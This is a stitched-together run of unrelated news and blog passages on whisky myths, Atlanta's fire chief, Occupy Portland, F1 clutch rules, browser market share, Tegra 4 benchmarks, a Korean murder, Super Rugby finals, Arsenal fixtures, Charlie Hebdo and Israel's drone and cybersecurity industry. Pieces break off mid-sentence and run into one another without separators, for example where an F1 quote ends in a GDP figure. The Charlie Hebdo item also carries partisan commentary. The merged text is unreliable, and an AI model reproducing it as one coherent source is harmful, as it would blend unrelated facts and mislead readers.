This is a common mistake, especially in Asia, but color is an unreliable indicator of quality. In fact, many brands use flavorless spirit caramel to darken their products and maintain color consistency from batch to batch. But a pale spirit can be robust—like Cutty Sark, which was created specifically for the United States during Prohibition by London wine merchant Berry Bros. & Rudd.
Whisky should be drunk straight.
No, whisky should be enjoyed just as you like it: straight, on the rocks, with soda (currently very popular in Japan), green tea (the Chinese love this) or coconut water (the craze in Brazil). But for full “appreciation,” particularly of single malt, skip the ice and try a little water, which opens up the aroma and makes it easier to evaluate the taste.
High-strength whiskies aren’t worth it.
Over the last few years, most distillers have introduced potent cask-strength bottlings. But these whiskies are not just gimmicks. Usually, the higher the proof of the alcohol, the more congeners it retains, which means bigger flavor. If you add a dash of water to a dram, these elements become volatile, enhancing the aroma.
Price = Quality.
Not necessarily. Quality is a matter of personal taste and is influenced by who you’re drinking with and where. But there is no guarantee you’ll like an expensive whisky more than you will an inexpensive one. The price reflects rarity, how long the distillery has had to hold on to the whisky and the cost of the packaging.
Age = Quality.
This is perhaps the most debated topic. Older whiskies are usually, but not always, better. And there is a limit to how long a spirit can age. Too long and the original spirit character is dominated by flavors coming from the wood. But for many consumers, the age is really a justification for the price they paid.
The Bartending News Flash Team
source: liquor.com
AdvertisementsAtlanta Fire Chief Kelvin Cochran has been fired for authoring a Christian book in 2013 that described homosexuality as a “sexual perversion.”
Mr. Cochran had just returned to work Tuesday at the Atlanta Fire Rescue Department following a monthlong suspension for comments in his book, “Who Told You That You Are Naked?” the Atlanta Journal-Constitution reported.
In the book, Mr. Cochran identifies himself as Atlanta’s fire chief and says it’s his first priority within the department “to cultivate its culture to the glory of God.” He was accused of distributing copies of the book at work, prompting an investigation into potential discrimination within the fire department. The findings of that investigation have not yet been released, the Journal-Constitution reported.
Atlanta Mayor Kasim Reed said in November that such writings were inconsistent with the city’s employment policies. He announced on Tuesday that the city would be separating from Mr. Cochran.
City Councilman Alex Wan said in a statement that he supports the administration’s decision.
“[Mr. Cochran‘s] actions made it a difficult work environment for lesbian, gay, bisexual, and transgender employees within the Atlanta Fire Rescue Department,” he said Tuesday. “This sends a strong message to employees about how much we value diversity and how we adhere to a non-discriminatory environment.”
Religious groups, including the Faith and Freedom Coalition and the Georgia Baptist Convention, have rallied around Mr. Cochran to decry what they believe is an impingement on religious freedom, the Journal-Constitution reported.
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Crowds converged on two adjacent downtown Portland parks where protesters decrying economic injustice are camped after city officials set a midnight Saturday deadline to disperse. Hours later, protesters remained though by dawn Sunday the crowd had thinned and obeyed police orders to clear the street.
At one point overnight, the crowd swelled to thousands.
Organizers said they hoped enough people will join them to make it difficult if not impossible for police to carry through on any eviction.
"Occupy the street," one organizer said through a bull horn. "Remain peaceful and aware. We have strength in holding the streets."
Demonstrators had used pallets and old furniture, wood debris and even a bicycle to set up makeshift barricades on either end of a street that runs through the encampment, apparently in an attempt to block traffic. The barricades later were taken down by protesters.
Mayor Sam Adams had ordered the camp shut down, citing unhealthy conditions and the encampment's attraction of drug users and thieves.
On Sunday at an impromptu news conference, he defended his order, saying it is his job to enforce the law and keep the peace. "This is not a game," he said.
He also noted that implementing the eviction order may require more patience.
Police numbers shifted throughout the night, but they showed no signs of moving against the protesters. Around 4 a.m., a line of about 200 police stretched across a street and in front of a federal courthouse. Protesters facing them appeared to be in a festive spirits with some banging on plastic pails, while others danced in the streets as a man juggled nearby.
Officials said that one officer suffered minor injuries when he was hit by some kind of projectile in the leg.
Police had prepared for a possible clash, warning that dozens of anarchists may be planning a confrontation with authorities. Officers seized pieces of cement blocks Friday, saying they were told some demonstrators had plans to use them as weapons against police.
It appeared earlier that about 200 campers planned to get arrested. But police action seemed less likely after the crowds swelled the parks in the early morning.
In the hours leading up to midnight, protesters held general assembly meetings where they talked about what to do when the deadline came. They also repeated the main message of the Occupy Wall Street movement of peaceful resistance to income inequality and what they see as corporate greed.
As those speeches were going on, about 60 bicycle riders circled the camp repeatedly to show support.
"We are a peaceful resistance," said rider Chico Tallman, a 63-year-old accountant. "But we're fed up with the direction the country is going. It's all about profit."
On Saturday, Occupy Portland protesters dismantled large sections of their encampment, but dozens of tents remained after midnight.
For the second time in as many days, Oakland city officials warned protesters Saturday that they do not have the right to camp in the plaza in front of City Hall and face immediate arrest.
The eviction notices come as officials across the country urged an end to similar gatherings in the wake of three deaths in different cities, including two by gunfire.
Demands for Oakland protesters to pack up increased after a man was shot and killed Thursday near the encampment site.
"Your activities are injurious to health, obstruct the free use of property, interfering with the comfortable enjoyment of [Frank Ogawa Plaza], and unlawfully obstruct the free passage or use of a public park or square," the notice read.
Oakland officials first issued the eviction notice Friday after first pleading with protesters to leave the encampment.
Police officials have said a preliminary investigation suggested the shooting resulted from a fight between two groups of men at or near the encampment. Investigators do not know if the men in the fight were associated with Occupy Oakland, but protesters said there was no connection between the shooting and the camp.
The shooting occurred the same day a 35-year-old military veteran apparently committed suicide in a tent at a Burlington, Vermont, Occupy encampment. Police said a preliminary investigation showed the veteran fatally shot himself in the head. They said the death raised questions about whether the protest would be allowed to continue.
In Salt Lake City, police arrested 19 people Saturday when protesters refused to leave a park a day after a man was found dead inside his tent at the encampment. About 150 people had been living in the camp there for weeks.
Authorities in Denver forced protesters to leave a downtown encampment and arrested four people for interfering with officers who removed illegally pitched tents, said police spokesman Sonny Jackson.
Violence marked the protest in San Francisco Saturday where police said two demonstrators attacked two police officers in separate incidents during a march.
Police spokesman Carlos Manfredi said a protester slashed an officer's hand with a pen knife while another protester shoved an officer, causing facial cuts. He said neither officer was seriously hurt, and the assailants couldn't be located.
Meanwhile, in Southern California a small group of protesters braved soggy weather on Saturday to gather for the first time under the banner of Occupy Inland Empire, The Sun newspaper reported.
Associated Press writers Terry Collins in Oakland, Josh Loftin in Salt Lake City, Jim Anderson in Denver and Andrew Dalton in Los Angeles contributed to this report.As part of an ongoing push by the governing body to reduce 'driver aids', there have been a number of restrictions imposed to reduce the influence of engineers in race starts.
Initially that began with limits on radio communications and clutch bite points, and last year that expanded to limiting drivers to using a single clutch paddle.
A potentially even more radical step is in force this season, though, thanks to new limits on clutch control, plus the movement and location of the paddles themselves.
Linear torque
These changes have been addressed to teams in FIA Technical Directives sent to F1 teams over the winter to inform them on what the FIA viewed as illegal driver aids.
The biggest change comes in how the paddle on the steering wheel now controls the clutch – because there has to be a linear torque control.
Beforehand, there was no linear demand. So, it was possible for an engineer to map the settings in a way that most of the movement on the steering wheel paddle would be in the clutch's'sweet spot'.
As Kevin Magnussen explained: "You just had to release it between 10 percent and 80 percent.
"Somewhere in there was a flat map that would be set to the grip, the tyres and fuel loads. So the start was 100 percent up to the engineers before. But now it is completely down to us."
Sweet spot
Being able to drop the clutch paddle into this wide zone meant that, as long as the engineers had mapped things correctly, then the starts were pretty straightforward.
But now with linear settings, if a driver wants to hit the perfect spot for the clutch he has to find the exact place with the clutch paddle on the wheel.
Being a centimetre out either way could be the difference between bogging down or getting too much wheelspin.
Sauber's Pascal Wehrlein said: "Now we have a situation like in a normal road car. As a driver you have to find the bite point completely by yourself.
"Before, you discussed it with the engineer. It was more down to the engineer whether the set-up was okay and the clutch was biting correctly. Now you do it with your hand and you don't have any adjustment possibility anymore."
Paddle spacing
Mercedes W07 steering wheel paddles distance Photo by: Giorgio Piola
There are further limitations about the clutch paddle design that will make things harder too.
To prevent teams putting devices behind the steering wheel to help a driver feel where the right clutch spot should be, there are now exclusion zones in place.
Teams have been told that there must be a 50mm gap between the clutch paddle and any other control on the wheel.
The only exception to the 50mm gap is if teams put in place a stop mechanism that restricts a drivers' hand from feeling elsewhere, something Mercedes and Force India are understood to have done.
Furthermore, there is a maximum limit of movement for the clutch paddle of 80mm.
Without the 80mm limit, teams would have been tempted to allow excessive movement of the clutch paddles to try to help make it easier for drivers find the perfect spot.
Ferrari SF16-H steering wheel clutch movement Photo by: Giorgio Piola
Massive change
The early feedback, from practice starts at Barcelona testing this week, suggests drivers are in for a pretty harsh wake-up call when it comes to getting away cleanly in 2017.
Wehrlein said: "The starts will be very difficult for the drivers, by the way. You can have a bit of luck and get a good start, but you can also have bad luck and you get a very poor getaway."
When asked how much harder it was going to be, Magnussen said: "A lot. Last year wasn't hard. You just had to release it past 10 percent and before 90 percent. It was easy.
"Last year you could have a bad start but that was down to the engineer not having the torque right or the clutch, or not calculating the grip right. And obviously you can react quickly to lights last year as well, that made a difference. Except for that, there wasn't much that was down to you really.
"As I say now, it is all down to you to find the right amount |
33 percentage points compared to 2.27 percentage points in the second estimate).
Exports fell 4.9 percent (-4.4 percent in the second estimate), mainly due to a decline in soybean exports to China after Beijing's tariffs took effect. Imports rose 9.3 percent (9.2 percent in the second estimate), before US import tariffs take complete effect. As a result, the impact from trade was -1.99 percent, compared to -1.91 percent in the advance estimate, the biggest drag on growth since the first quarter of 1984.
Government spending and investment added 0.44 percentage points to growth, the same as in the second estimate. It increased 2.6 percent, also unchanged from the previous estimate.Microsoft's Internet Explorer Web browser reversed years of declines and posted a net gain of 1.2 percent usage share globally over the past five months, according to a report from measurement firm Net Applications. As of March 2012, IE claimed 53.83 percent of Web browser market share, followed by Firefox with 20.55 percent, Google's Chrome browser with 18.57 percent and Safari with 5.07 percent. Opera placed fifth with 1.62 percent, and other Web browsers claimed the remaining 0.36 percent.
"With a gain of.99 percent last month and a net gain of 1.2 percent global usage share over the last five months, Internet Explorer has stabilized and even reversed its usage share declines of the last few years," Net Applications wrote. Chrome witnessed its third straight month of declines after falling from its peak of 19.11 percent market share in December 2011. Although Apple's Safari browser slipped in market share from February to March, the browser's overall market share rose 0.07 percent over the last five months.
"We continue to see great strides made against our core metric: IE9 share on Windows 7," Microsoft's director of Internet Explorer product marketing, Roger Capriotti, wrote on the company's Exploring IE blog. "This month in the US nearly 50 percent of Windows 7 users are experiencing the best the Web has to offer with IE9, and around the world, almost 35 percent of Windows 7 users are browsing with IE9."
The IE8 browser was the most used desktop browser, making up 25.4 percent of the market, followed by IE9 with 15.17 percent. Chrome 17 took third place with 14.73 percent, while Firefox claimed fourth place with 7.79 percent market share.
IE6, the death of which Microsoft had been making a big fuss about in the United States, rounded out the top five with 6.9 percent. As of December, its total stood at 7.7 percent, most of the usage coming from mainland China. However, according to the January Net Applications report, use of IE6 in the United States has dropped to beneath 1 percent. Early in 2011, Microsoft started a Website, "The Internet Explorer 6 Countdown," which used data from Net Applications to detail IE6 usage around the world.
Microsoft is intent on creating browsers that leverage Windows and hardware in order to more quickly deliver fully rendered Websites. With Internet Explorer 10, Microsoft plans on further embracing that theme. To that end, the next-generation browser will come to the upcoming Windows 8 in two versions: one for the desktop and another "Metro"-style one for tablets. The desktop version will fully support plug-ins and extensions, while the Metro-style browser will be plug-in free.
On the mobile browser side of things, Safari continued to dominate, grabbing 60.54 percent of market share in March, compared with 18.3 percent for Google's Android Browser, 15.39 percent for Opera Mini, 1.73 percent for BlackBerry and 1.56 percent for Symbian. The "other" category comprised 2.48 percent of mobile browser market share, according to the report.BARCELONA - Nvidia's Tegra 4 will make for the fastest mobile phones yet, if we're to believe benchmarks Nvidia showed us today. The march of processor speeds always continues, of course, but these results were impressive, crushing the most popular smartphones in the market by a long shot.
Nvidia showed off the Tegra 4's power on a trio of tablets loaded with a bunch of standard benchmarks and a Web browser, and invited us to run the benchmarks for ourselves. So we did. The platform clearly isn't ready for retail yet, though; it's all naked developer kits and reference designs.
At one station, Nvidia showed how the Tegra 4 uses relatively little power when doing common tasks like playing music and videos; that's because those applications use the Tegra's low-power "companion core" rather than cranking its four more powerful cores. It's a good point, but to see how battery life really fares, we'll have to see it in final phones with radios and screens.
Nvidia also showed off its "Phoenix" reference design for its Tegra 4i chipset, which promises to power lower-cost smartphones in late 2013 and early 2014 with its built-in modem. Right now, Phoenix is a blocky slab phone, nothing much to write home about, but it plays Real Boxing. That's about it. This product is so far from release that it's difficult to say how well it'll work when it's done.
Tegra 4: Really Fast
OK, so about those benchmarks: the Tegra 4 eradicated every current generation phone we've tested, and we test all the phones on the U.S. market. (Note to international readers: We don't generally test phones not sold in the U.S.) That's almost to be expected, as Tegra 4 is the next generation past the Tegra 3 and Qualcomm S4 chips we're seeing in phones today.
How about the iPhone 5? Apple's A6 processor is speedy to be sure, but the Tegra 4 nuked it. When we benchmarked the iPhone 5 we got 1640 on Geekbench and 27 fps on GLBenchmark's Egypt HD offscreen benchmark, which tests graphics power. The Tegra 4 scores 4148 on Geekbench and 57 fps on the Egypt HD. Pow.
The chart below shows Tegra 4 versus some other really fast or popular phones we've tested. "N/A" means we didn't run that test on that phone (usually because there's been a major version change in the benchmark since we tested the phone in question.)
Of course, the competition isn't standing still. Qualcomm is countering the Tegra 4 with its Snapdragon 800, which the company claims is even faster than the Tegra 4. Samsung is readying the Exynos 5 Octa. Neither of those companies have let us run our usual benchmarks on their devices yet, but we can expect that they'll give the Tegra 4 a run for its money.
The first hint we've seen of Qualcomm's new generation comes in some benchmarks done on the HTC One, which uses Qualcomm's new 1.7-GHz Snapdragon 600 chipset - not the 800, but the next notch down. The Tegra 4 still destroys it.
Tegra 4 is first coming in Nvidia's Project Shield gaming handheld this spring, followed by phones and tablets later this year. Tegra 4i will come to mobile phones late in 2013./ Courtesy of GoFundMe
By Lee Ji-hye
The horrendous discovery of a woman's body packed in a suitcase buried in cement last month has caused uproar online and in the national media.
The brother of Kim Sun-jung, 25, better known as Sunny Kim, took to Facebook over his sister's death, whose body was found in the hills of Jechun, North Chungcheong Province, on May 18.
"The criminal was my sister's abusive 24-year-old boyfriend from Gimhae, surnamed Lee," wrote Kim Sun-baek, 21. "His kind character was a mask, because whenever they would fight, he would end it with violence."
Kim then described his first encounter with the alleged offender, who turned himself in to police on May 16.
Kim's body was packed inside a suitcase, buried, and covered in cement / Courtesy of North Chungcheong Province Jecheon Police Department
"Not one flinch of apology did we see in his eyes after brutally damaging my sister's corpse. He had sought a perfect crime."
According to police, Lee claimed to have carried his girlfriend's body to the mountains in the suitcase. He then buried it in a meter-deep hole and covered it with cement.
Police said Lee attempted suicide at a hotel in Busan, where he and Kim Sun-jung first met. When the attempt failed, he called an ambulance.
He then turned himself into Busan Police, who took him to the Seoul Metropolitan Police Agency's Gwanak Police Station, near where he and Kim had been living.
The victim's family met Lee on May 19, in the lobby of the Gwanak Police Department.
"As long as I live, I will never forgive you," Kim's mother screamed at Lee. "You don't even deserve to be judged by law. You're not even a human being."
She said she thought her daughter was in America. "She had told me that she finally got a great job back in Korea, and everyone was dying to see her. I never imagined I would see her body like this," Kim's mother said.
Police said there were no reports of the victim being missing before Lee turned himself in.
They said an arrest warrant was requested for Lee on May 20.
The body was badly damaged but there was no trace of strangling or physical violence, police said.
The results of an autopsy have not been announced, and no charges on Lee have yet been laid.
The banner created by Kim's sorority to support the bereaved familyTHE Chiefs and Brumbies will decide the 2013 Super Rugby season in Hamilton on Saturday in the second trans-Tasman final in three years and eighth overall.
This will be the 18th Super Rugby final since the competition began with the onset of professionalism in 1996, and it has all the ingredients to be one of the best.
But which of the previous 17 deciders tops the lot?
Blues v Crusaders, 1998
This year’s losing semi-finalists, the Crusaders, and the inaugural champions, the Blues, played out the pick of the finals in the early years when they met in the 1998.
After claiming back-to-back titles in 96 and 97, the Blues were chasing a hat-trick of crowns when they welcomed their great south island rivals to Eden Park.
In a gripping encounter that saw just the three tries, Crusaders winger James Kerr broke a 13-all deadlock with a five-pointer after the Blues failed to deal with an ordinary Andrew Mehrtens kick.
Brumbies v Crusaders, 2004
Six years later, the Crusaders travelled to Canberra in search of their fifth title after establishing themselves as the competition’s dominant outfit.
The two sides had met in both the 2000 and 2002 deciders with Robbie Deans’s side emerging victorious in both. But right from the early minutes it was obvious the 2004 final wouldn’t boast a similar script.
The hosts turned on a brilliant first half to all but lock up the match at half-time with winger Mark Gerrard scoring a hat-trick and George Smith showing off all his skills.
The biggest cheer however, was reserved for legendary Brumbies winger Joe Roff who touched down to break Christian Cullen’s try-scoring record.
Sharks v Bulls, 2007
News_Poll: Your Vote - Fantastic Finals
It took 11 years for the first all-South African final to occur but the Bulls and Sharks certainly didn’t disappoint when they met in the 2007 decider.
No franchise from the Republic had tasted Super Rugby glory beforehand and the two sides went hammer and tong at each other for the full 80 minutes.
After an absorbing battle at a packed ABSA Stadium, it was the Bulls who would etch their names in South African rugby folklore – the visitors claiming the match in dramatic circumstances with an injury-time try to Springboks winger Bryan Habana.
Bulls v Chiefs, 2009
While it wasn’t one of the classic deciders, the Bulls’ 44-point hammering of the Chiefs in Pretoria certainly was a memorable one.
After conceding the game’s first try the Bulls ran wild over their travel-weary opponents to put the game out of reach at the break.
The hosts didn’t let up after half-time either as they piled on four more tries to register a thumping 61-17 victory and secure their second crown.
Reds v Crusaders, 2011
After countless years in the doldrums, Queensland Reds finally burst into life under Ewen McKenzie. They may have narrowly missed the finals in the now Wallabies coach’s first season in charge, but there would be no stopping them in 2011.
The Reds did have to go through seven-time champions the Crusaders, however, and it took a piece of Will Genia brilliance for them to lift the trophy.
In one of the great halfback tries ever seen, Genia ran 65 metres beating a bunch of Crusaders along the way to spearhead the Reds to an 18-13 triumph.We have today received notification from the Premier League that the following games involving Arsenal have been rescheduled as a result of TV selections:
Arsenal v West Ham UnitedSunday, August 9, 2015Kick Off 1.30pmLive on Sky TV
Crystal Palace v ArsenalSunday, August 16, 2015Kick Off 1.30pmLive on Sky TV
Arsenal v LiverpoolMonday, August 24, 2015Kick Off 8pmLive on Sky TV
Newcastle United v ArsenalSaturday, August 29, 2015Kick Off 12.45pmLive on BT Sport
Chelsea v ArsenalSaturday, September 19, 2015Kick Off 12.45pmLive on BT Sport
The ‘standard’ TV selections have now been made up to the end of September 2015.
Ordinarily, fixtures up to this date will not now change.
However, as ever, all fixtures remain subject to change and circumstances may yet arise which result in further fixture changes.
Click here to find out about download fixtures to your calendar.The latest news on the Charlie Hebdo massacre is that the youngest of the suspects, 18-year-old Hamyd Mourad, has turned himself in to the authorities.
The brief report below provides some details about the escape of the three assassins from the scene of the crime. When they stole their first getaway car, they reportedly acceded to the owner’s request and allowed him to save his dog. Why was that? They had just killed twelve people, and dogs are haram. Why not dispatch the dog as well? We’ll probably never learn the answer.
Here’s the story from ANSAmed:
Charlie Hebdo Witness: They Said “We Are Al Qaida Yemen” Terrorists told man while stealing his car after accident (ANSAmed) – BARI, JANUARY 7 – “Al Qaida Yemen, sortez de la voiture” (get out of the car), two terrorists reportedly told a man before stealing his car to run away after their attack against weekly Charlie Hebdo, ANSA has learned from an Italian national who works in Paris and spoke with the man whose vehicle was hijacked. The attackers appeared calm and “spoke a perfect French” and when the man, held at gunpoint, asked them whether he could take his dog from the car, they reportedly said yes. The terrorists who fled aboard the black Citroen after the attack against Charlie Hebdo changed cars after crashing against a sidewalk on rue de Meaux, an eye witness who was at a bakery across the street was quoted as saying by the media. The man, identified as Jeremy, said he saw the terrorists crash and then leave the car and “take a light-colored Clio parked behind while screaming Allah is with us”. “They were masked and were carrying Kalashnikovs”, he said. The men then fled aboard the Clio towards the bridge de Pantin.
Hat tip: Insubria.A white drone with a 12-foot wingspan banks sharply over an artificial lake on the outskirts of Tel Aviv. The unmanned aerial vehicle, or UAV, is so quiet that herons on the waters edge dont budge until the hawklike aircraft is barely a hundred feet away. As the drone swoops in, its cameras beam high-resolution images of the terrain and the birds onto a large outdoor screen for a rapt audience of military analysts and arms buyers while a presenter extols the aircrafts virtues. It allows a military unit to peer down on enemies hidden behind hills or buildings and then call in artillery or air strikes, he says.
Inside an adjacent, hangar-size convention hall at Israels annual Autonomous, Unmanned Systems & Robotics (AUS&R ) convention, some 500 attendees hailing from Israel, the U.S., Europe, Asia, and Latin America inspect a score of other drone models. They include a tiny, kamikazelike craft bearing an explosive charge that hovers and surveys its surroundings until its controller directs it to crash into and blow up a target; a drone as large as a tank that can ferry soldiers and cargo in and out of urban combat zones; and a UAV with the wingspan of a business jet that can stay aloft for more than a day on espionage missions.
In less than 30 years, Israel, once better known for its agricultural kibbutzim, has transformed itself into a high-tech industrial nation with a per capita income of some $35,300, just behind Frances and nearly 9 percent greater than Japans. Silicon Wadi, a 125-mile corridor stretching from the plains around the northern port of Haifa to the Negev Desert in the south, has spawned more high-tech start-ups than all of Europe. Only the U.S. claims more high-tech start-ups, and it has a population nearly 40 times larger than tiny Israels 8.2 million.
The boom has attracted a rising tide of foreign investment from global tech giants looking to bolster their research and development operations and tap into promising new technologies, and from foreign venture capital firms eager to finance hot new start-ups. Israeli companies are especially strong in products and services related to military activities and protection against Internet attacks. The nation is the worlds second-leading exporter, after the U.S., of both military drones and cybersecurity services two of the hottest digital-era industries.
The ramifications of this two-decade-old surge have spilled into diplomacy and geopolitics. The technological prowess of the Israel Defense Forces (IDF) and the Israeli military and cybersecurity industries is gaining the country informal alliances even with longtime Middle East antagonists like Saudi Arabia and the Gulf emirates. Israeli media have reported that the country has exchanged intelligence on Iran and Yemen with Saudi military officials in the past year. In July a Saudi delegation led by retired general Anwar Eshki visited Israel and met with intelligence officials to discuss cybersecurity and antimissile defense systems, according to local press reports. In September the New York Timesreported that Israels NSO Group was selling smartphone surveillance spyware to the United Arab Emirates. More and more nations see Israel as a potent partner, Prime Minister Benjamin Netanyahu told the United Nations General Assembly in September. Because of our unmatched experience and proven capabilities in fighting terrorism, many of your governments seek our help in keeping your countries safe.
Billions of dollars in venture capital and high-tech export earnings pour into Israel each year despite continued global criticism of the countrys half-century occupation of the West Bank, which has inspired the Boycott, Divestment, and Sanctions movement. Google, Facebook, Microsoft Corp., Oracle Corp., and hundreds of European and Asian businesses are investing heavily in their Israeli R&D operations, which account for about half of the nations 290,000 high-tech jobs, and snapping up promising young ventures. The boycott campaign is annoying, but it has had no material effect on our business, says Joseph Gaspar, chief financial officer of Elbit Systems, the countrys largest exporter of military drones.
Underpinning this high-tech boom is a uniquely Israeli ecosystem that links elite military units, hundreds of start-up companies, and a multilayered investment community.
Typically, high-tech entrepreneurs are young veterans of IDF intelligence groups who learned to operate in tightly knit teams while working on technological solutions to military needs. The most celebrated of these intelligence outfits, Unit 8200, is Israels equivalent of the National Security Agency. It has spawned thousands of fledgling entrepreneurs and other start-up executives who network at the annual gathering of alumni in June. Its an opportunity to meet a partner at a venture capital firm or the CEO of an established company, and believe me, a lot of business cards get exchanged, says Nir Lempert, chairman of the Unit 8200 alumni association and CEO of C. MER Industries. Lempert regularly recruits Unit 8200 alumni for MER, a supplier of mobile communications infrastructure for antiterrorist security networks.
Over the past two decades, Israel has built a sophisticated, deep-pocketed investment community for start-ups. The venture capital market has slowed in many parts of the world, but it continues to swell in Israel. Last year $4.4 billion in venture capital poured into Israeli companies, a figure that is on course to hit $6 billion in 2016, according to the IVC Research Center in Tel Aviv, which tracks the high-tech sector.
Increasingly, the money is coming from abroad. Last year non-Israeli firms supplied 85 percent of new venture capital, up from about 50 percent a decade ago. You can find more modest deals than in the U.S., says Paz Eshel, an applications software and information technology specialist at the Israeli office of Boston-based Battery Ventures, which has invested in more than 30 Israeli start-ups in the past two decades. There arent as many unicorns in Israel, he adds, but there are plenty of start-ups with $200 million outcomes to attract foreign investors.
At the top of this food chain are multistage venture capital firms that take a start-up from seed stage to an initial public offering. Other venture firms are early-stage investors, exiting before a start-up goes public. Crowdfunding drawing upon numerous small investors accounts for the remainder of start-up capital. Forget about writing a $50,000 check to a venture capital fund, because they want millions, says Jon Medved, founder and CEO of Jerusalem-based OurCrowd, one of the largest crowdfunding platforms, with almost 15,000 investors and $250 million in assets.
To be sure, Israeli start-ups face plenty of challenges. Entrepreneurs dream of growing large enough to move their headquarters to the U.S. while keeping their R&D in Israel, but most founders are technology wizards who lack the patience or managerial skills to build their companies up to the IPO stage. Instead, they are serial entrepreneurs who sell out to larger Israeli or foreign, usually American, companies and then go on to a new start-up. According to IVC Research, the number of exits both IPOs and acquisitions has averaged about 100 annually over the past decade; the average exit was worth $86.5 million last year, compared with an average of $62 million over the past ten years.
A lot of Israeli entrepreneurs are young and inexperienced, says Yoav Tzruya, a partner in Jerusalem Venture Partners (JVP), one of the largest local venture firms, with $1.1 billion under management. When they are faced with an exit that yields tens of millions of dollars, they go for liquidity. The same can be said about Israeli venture firms, most of which are early-stage investors with only a ten-year horizon. Thats not enough time to create a billion-dollar company, concedes Tzruya.
Competing against foreign multinationals in their own backyard can be daunting for Israeli start-ups. Some 350 global companies from the U.S., Europe, and Asia have R&D operations in Israel. Many of these outposts were created by acquiring Israeli start-ups whose founders doubted they could achieve the scale to compete with Silicon Valley behemoths. In 2015 a record $9 billion was spent, mainly by foreign companies, to acquire 104 Israeli outfits. Microsoft alone bought five businesses, most notably paying $320 million to purchase Adallom, a cloud security company. Oracle acquired three companies in the first half of this year, including Ravello Systems, a provider of cloud-based software services, for $500 million.
But none of these constraints is slowing down entrepreneurs who see opportunities in a world under mounting unconventional military and Internet-era threats. This is particularly true in the cybersecurity field. Few countries have been quicker and more effective than Israel at creating companies to cope with hacker attacks on governments and businesses and to cash in on an increasingly lucrative market.
Israeli companies dont confine themselves to cyberdefense. According to media reports, an Israeli start-up, Cellebrite, was hired by the U.S. Federal Bureau of Investigation to successfully crack the iPhone security code of the San Bernardino, California, terrorists after Apple refused to cooperate. (Neither the FBI nor Cellebrite will confirm these reports.) Another Israeli security company, NSO Group, has gained notoriety for selling spyware to Middle Eastern, African, and Latin American governments tracking critics and dissidents.
According to research firm Gartner, global cybersecurity revenue grew 4.7 percent in 2015, to $75 billion, and will soar to $170 billion by 2020. Hardly a week goes by without news of a massive breach. The hacking, presumably by Russian intelligence agencies, of the e-mail accounts of Democratic Party organizations and officials has become a focal point of the U.S. presidential campaign, with Hillary Clinton criticizing Moscow for allegedly trying to influence the election, while her Republican opponent, Donald Trump, has contended that the e-mails, released by Wikileaks, show Clinton as corrupt. The recent disclosure that hackers stole data on 500 million users of Yahoo! in 2014 threatens to disrupt that companys $4.8 billion sale to Verizon Communications.
Analysts predict even greater trouble ahead, particularly in the corporate world. According to a July report by KPMG, the number of cyberattacks on businesses rose from 3.4 million in 2009 to 43 million in 2014. Cybersecurity risks are mounting exponentially with the shift to cloud computing, the proliferation of mobile communications, and the growth of the Internet of Things, in which the web is used to operate or connect everything from factories to home devices to motor vehicles. Altogether these trends will massively increase the surface area for attackers, says Gregg Moskowitz, a New Yorkbased cybersecurity analyst at Cowen Group.
Because threats are so varied, a large corporation may hire as many as 100 cybersecurity companies or vendors, each with its own specialty, to protect against hackers. There are at least 1,500 security vendors currently operating worldwide. Although consolidation is under way in the industry, nobody believes a monopoly or duopoly on the scale of Google and Facebook will emerge. Security is too complex and far-reaching for any one vendor to credibly accomplish it all, Moskowitz says. And innovation should be encouraged to try to keep up with the very sophisticated attackers who exist today.
Israeli cybersecurity companies have been quick to take advantage of this state of affairs. The sector generated $6.6 billion in export revenue last year, up 10 percent from 2014.
The countrys largest cybersecurity company, Check Point Software Technologies, seeks to protect corporate clients from cyberattacks by using a variety of sophisticated software applications to build firewalls. Based in Tel Aviv and San Carlos, California, Check Point went public with a $67 million IPO in 1996 and has seen its stock price multiply more than 20 times, to $77.18 on October 19. But growing competition has slowed its growth in recent years: Check Point posted a modest 3.9 percent rise in earnings last year, to $686 million, while revenue rose 8.7 percent, to $1.63 billion.
One of the companys long-standing challenges is to improve the endpoint security it provides that is, protecting a corporate network when it is accessed remotely through employees laptops, tablets, or smartphones. Check Point hoped to fill the endpoint gap by purchasing Swedens Pointsec Mobile Technologies for $586 million in 2006, but the company has failed to keep up with rivals whose endpoint security software is regarded as more effective. Check Point has also struggled to keep pace with U.S. competitors like Symantec Corp., Palo Alto Networks, and FireEye in offering security for cloud computing. We are seeing a clear trend in the cybersecurity industry toward marrying network with endpoint capability and cloud, says Moskowitz. We dont think Check Point can catch up without making acquisitions.
But with $3.7 billion in cash and marketable securities on its balance sheet, the company can well afford to shop around. We are looking very actively at various acquisition options, Check Point CEO and co-founder Gil Shwed told analysts in July at the second-quarter earnings call.
Rival CyberArk Software considers Check Points strategy outmoded. There was a misconception in the market that firewalls could keep out attackers, and a lot of money and energy went into perimeter security, says Udi Mokady, CEO and co-founder of CyberArk, which is based in Newton, Massachusetts and has a R&D center in Petah Tikvah, Israel. As evidence of the failings of this approach, Mokady points to the spectacular firewall breach in November 2014 of Sony Pictures Entertainment that resulted in the release of reams of confidential data on managers, employees, and their families. The main suspect was North Korea, which allegedly retaliated against Sony for its film The Interview, a comedy about a plot to assassinate the countrys leader, Kim Jong Un.
CyberArks strategy focuses on neutralizing an attack after hackers have breached a companys firewall. CyberArk seeks to protect so-called privileged accounts, which grant users authorized access to data essential to the administration and security of a business. Once intruders get past a firewall, they propagate and move throughout the company by accessing privileged accounts until they can control access to the company networks.
Before that happens we find those privileged accounts and lock them up, explains Mokady. We literally vault them so that the only way to go through a companys networks is through us.
Check Point and CyberArk are rare examples of Israeli start-ups that resisted buyout offers. A lot of Israeli start-ups limit themselves to the technology phase and base their business plan on exiting early and selling their companies, says Mokady, who founded CyberArk in 1999. We started out with the idea to build a large company.
That meant securing the financing to replace venture capital firms that sold their positions to comply with the usual ten-year horizon of their investors. A crucial moment came in 2011, when most investors opted to sell their stakes. But the largest of the firms, Jerusalem Venture Partners, increased its holding from 27 percent to 38 percent, while Goldman Sachs Group took a 19 percent stake. JVP and Goldman kept their stakes until CyberArks $85.8 million IPO in September 2014.
JVP reported a more than 12-fold return on its additional investment in CyberArk between 2011 and the IPO. This shows the missed opportunities by Israeli start-ups that dont fully exploit their potential and by investors who arent strategic or visionary enough, says Tzruya, the JVP partner most involved with CyberArk.
